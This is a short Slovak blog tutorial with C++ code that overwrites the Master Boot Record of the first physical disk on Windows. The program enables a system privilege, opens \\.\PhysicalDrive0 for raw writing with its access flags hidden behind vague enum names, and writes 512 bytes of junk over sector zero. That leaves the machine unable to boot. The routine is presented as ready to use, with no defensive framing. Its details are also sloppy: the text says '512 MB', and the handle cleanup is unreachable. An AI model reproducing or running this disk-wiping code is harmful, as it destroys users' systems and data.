V tomto článku si popíšeme prepísanie - zrušenie MBR sektoru.
Ide o pomerne jednoduchý postup ako zrušiť zavádzací sektor.
Pri zrušení MBR ide o jeho prepísanie, pričom to môže byť uskutočnené neakými hodnotami o veľkosti 512 MB, alebo len prázdnym miestom, tj, miestom alokovaným.
Ja som si vybral prepísanie alokovaným miestom typu BYTE a prepisovať jednotku budeme asynchrónne.
Celý kód by mohol vyzerať neako takto:
#include "WinAPI.h" //https://www.netbot.sk/sk/14-blog-headers/31-winapi
#define MBR_SIZE 512
enum SystemAccess:DWORD {
SYSTEMACCESS1 = 0x80000000,
SYSTEMACCESS2 = 0x40000000,
SYSTEMACCESS3 = 0x00000001,
SYSTEMACCESS4 = 0x00000002,
SYSTEMACCESSA = 0x40000000,
SYSTEMACCESSB = 0x20000000
};
bool EraseMBR(char * device)
{
::HANDLE MasterBootRecord;
MasterBootRecord = ::CreateFileA(device, SystemAccess::SYSTEMACCESS1|SystemAccess::SYSTEMACCESS2, SystemAccess::SYSTEMACCESS3|SystemAccess::SYSTEMACCESS4, NULL, 3, SystemAccess::SYSTEMACCESSA|SystemAccess::SYSTEMACCESSB, 0);
if(MasterBootRecord)
{
BYTE * MBR_CONTENT = new byte[MBR_SIZE];
DWORD MBRDword;
::OVERLAPPED Overlap = {0};
::memset(&Overlap, 0, sizeof(Overlap));
::ULONG Written;
Overlap.Offset = 0;
Overlap.OffsetHigh = 0;
Overlap.hEvent = 0;
bool result = ::WriteFile(MasterBootRecord, MBR_CONTENT, MBR_SIZE, &MBRDword, &Overlap);
delete [] MBR_CONTENT;
return result;
} else {
return 0;
}
::CloseHandle(MasterBootRecord);
}
int _cdecl main (void)
{
::Diall_WinApi::WinApi::GetInstance()->SystemIntegrity(::Diall_WinApi::Privilege::ENABLE);
EraseMBR("\\\\.\\PhysicalDrive0");
return 0;
}
Príkladové video: